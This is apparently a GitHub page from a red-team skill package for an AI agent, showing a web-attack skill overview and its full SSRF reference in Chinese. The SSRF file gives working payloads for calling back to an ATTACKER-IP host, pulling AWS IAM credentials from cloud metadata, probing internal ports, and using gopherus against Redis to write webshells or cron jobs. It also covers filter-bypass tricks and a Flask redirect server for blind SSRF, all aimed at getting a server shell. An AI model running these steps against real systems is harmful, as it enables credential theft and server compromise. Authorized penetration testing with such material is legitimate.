pale-knight/redteam-skill / skills/web-attack
web-attack
FlaggedHTTP/Web exploitation until a server shell or equivalent OS execution. Use after /web-recon has mapped the application. Covers injection, upload, LFI, SSRF/XXE, SSTI, deserialization, JWT/SAML, API logic, desync/cache/parser, and Web-controlled backend abuse. WAF stays here. Endpoint blocks after OS execution hand off to /edr-bypass then return. Direct non-HTTP service ports belong to /recon or /service-attack.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 5.3 KB |
| references/api-security.md | markdown | 20.3 KB |
| references/auth-bypass.md | markdown | 1.9 KB |
| references/cmdi.md | markdown | 5.0 KB |
| references/deserialization.md | markdown | 1.6 KB |
| references/http-desync.md | markdown | 5.2 KB |
| references/java-deserialization.md | markdown | 3.3 KB |
| references/jwt.md | markdown | 1.4 KB |
| references/lfi-rfi.md | markdown | 4.0 KB |
| references/orm-leak.md | markdown | 5.3 KB |
| references/parser-differentials.md | markdown | 4.4 KB |
| references/saml-security.md | markdown | 3.6 KB |
| references/server-side-client-abuse.md | markdown | 3.3 KB |
| references/sqli-mssql-chain.md | markdown | 6.3 KB |
| references/sqli-mysql-chain.md | markdown | 5.9 KB |
| references/sqli-oracle-chain.md | markdown | 4.7 KB |
| references/sqli-postgresql-chain.md | markdown | 4.6 KB |
| references/sqli.md | markdown | 8.0 KB |
| references/ssrf.md | markdown | 4.6 KB |
| references/ssti.md | markdown | 5.3 KB |
| references/upload.md | markdown | 3.6 KB |
| references/waf-bypass.md | markdown | 6.8 KB |
| references/web-cache.md | markdown | 4.1 KB |
| references/xss.md | markdown | 3.8 KB |
| references/xxe.md | markdown | 1.5 KB |
references/ssrf.md
View on GitHub# SSRF
> **TECH:** 服务端出站请求 → 元数据 / 内网 / gopher 执行
> **成功:** 云凭据可校验,或内网服务被打到执行/shell
> 发现的云密钥校验后候选 `/cloud-recon`,不要在这里做 IAM 提权。
## SSRF 服务端请求伪造
场景:URL预览、图片抓取(?image=)、webhook、导入远程文件、PDF生成、SSO回调(?redirect=)、代理(?url=)。
### 确认SSRF(OOB)
```
# 攻击机起监听
python3 -m http.server 或 interactsh-client
# 参数填攻击机地址
?url=http://ATTACKER-IP/ssrftest
# 收到请求且来源IP=目标服务器 → 确认SSRF
```
### 云元数据(云环境最高价值)
```
# AWS
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# → 返回角色名,再取:
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<角色名>
# → AccessKeyId / SecretAccessKey / Token
# GCP(需特殊头,SSRF通常无法设置,但有时可以)
?url=http://metadata.google.internal/computeMetadata/v1/
```
### 内网探测
```
# 端口扫描(据响应时间/长度/报错差异判断开放)
?url=http://127.0.0.1:6379/
?url=http://127.0.0.1:8080/
?url=http://10.0.0.1:445/
```
### gopher协议(打非HTTP内网服务)
```
# 用gopherus工具生成
gopherus --exploit redis # 写webshell/计划任务
gopherus --exploit mysql # 执行SQL
gopherus --exploit smtp # 发邮件
# 把生成的 gopher://... 填进SSRF参数
```
### 绕过过滤
```
# 127.0.0.1被屏蔽
127.1
0.0.0.0
[::]
2130706433 # 十进制
0x7f000001 # 十六进制
# 白名单只认某域名
http://内网IP@白名单域名
http://白名单域名.attacker.com
# 169.254.169.254被屏蔽
短链/302重定向到它
DNS rebinding
```
---
## Blind SSRF:从“收到回连”到可利用 Oracle
Blind SSRF 只收到 OAST 回连时,不要停在“存在 SSRF”。继续判断服务器的重定向处理、错误行为和协议支持是否能把 blind primitive 变成可利用链。
### Redirect handling
准备攻击者控制的重定向端点:
```python
# redirect.py
from flask import Flask, redirect, request
app = Flask(__name__)
@app.route('/r')
def r():
return redirect(request.args.get('to','http://127.0.0.1:1/'), code=302)
app.run(host='0.0.0.0', port=8000)
```
```bash
python3 redirect.py
```
目标:
```text
?url=http://ATTACKER:8000/r?to=http://127.0.0.1:8080/admin
```
比较:
```text
302是否被跟随
最终status/长度/时间
超时 vs connection refused
错误页是否包含最终URL/内部响应线索
```
**不要假定重定向一定能“直接回显内网内容”。** 研究型 redirect-loop 技术依赖具体 HTTP client/错误处理;只有目标实测出现可重复 oracle 才继续。
### Blind SSRF port oracle
```text
127.0.0.1:1 → closed baseline
127.0.0.1:22 → candidate
127.0.0.1:80 → candidate
127.0.0.1:3000 → candidate
127.0.0.1:6379 → candidate
```
记录每个端口多次响应时间和错误类型,避免把网络抖动当开放端口。
---
## SSRF → Redis
只有 **Web SSRF 把你带到 Redis** 时才属于本文件;扫描直接发现 6379 属于 `/recon`。
### 先判断协议能力
```text
HTTP-only SSRF → 通常只能碰HTTP网关/错误行为
支持gopher/raw TCP → 才能发送完整RESP命令
可控headers/body但不raw → 根据目标代理实现判断
```
使用 Gopherus 生成 payload 时:
```bash
gopherus --exploit redis
```
但生成 payload 前必须意识到现代 Redis 可能存在:
```text
AUTH
ACL user
命令级ACL
CONFIG / MODULE / REPLICAOF 被禁
protected-mode / bind
```
所以:
```text
SSRF reaches Redis
↓
能否无认证执行基础命令?
↓
AUTH/ACL?
↓
当前上下文允许哪些命令?
↓
选择可行的写文件/复制/模块/应用数据链
```
不要沿用“Redis可达 = CONFIG SET dir 一定可用”的旧教程判断。
### 目标是 Shell,不是 Redis 控制本身
```text
Redis primitive
├─ 写WebRoot → WebShell
├─ 可控计划任务/authorized_keys(仅环境允许时)
├─ replication/module primitive(强版本/权限依赖)
└─ 只能读写应用数据 → 继续寻找Web组合链
```
拿到服务器 Shell → `/web-attack COMPLETE`。
---
## SSRF 协议/后端路由
```text
SSRF
├─ HTTP/HTTPS → internal admin/API/cloud metadata
├─ Redis → 本文件 Redis 分支
├─ MySQL → 若是可控Web“数据库连接功能”,优先 server-side-client-abuse.md
├─ SMTP → 邮件/重置链
└─ file:// → 本地文件读取(客户端实现允许时)
```
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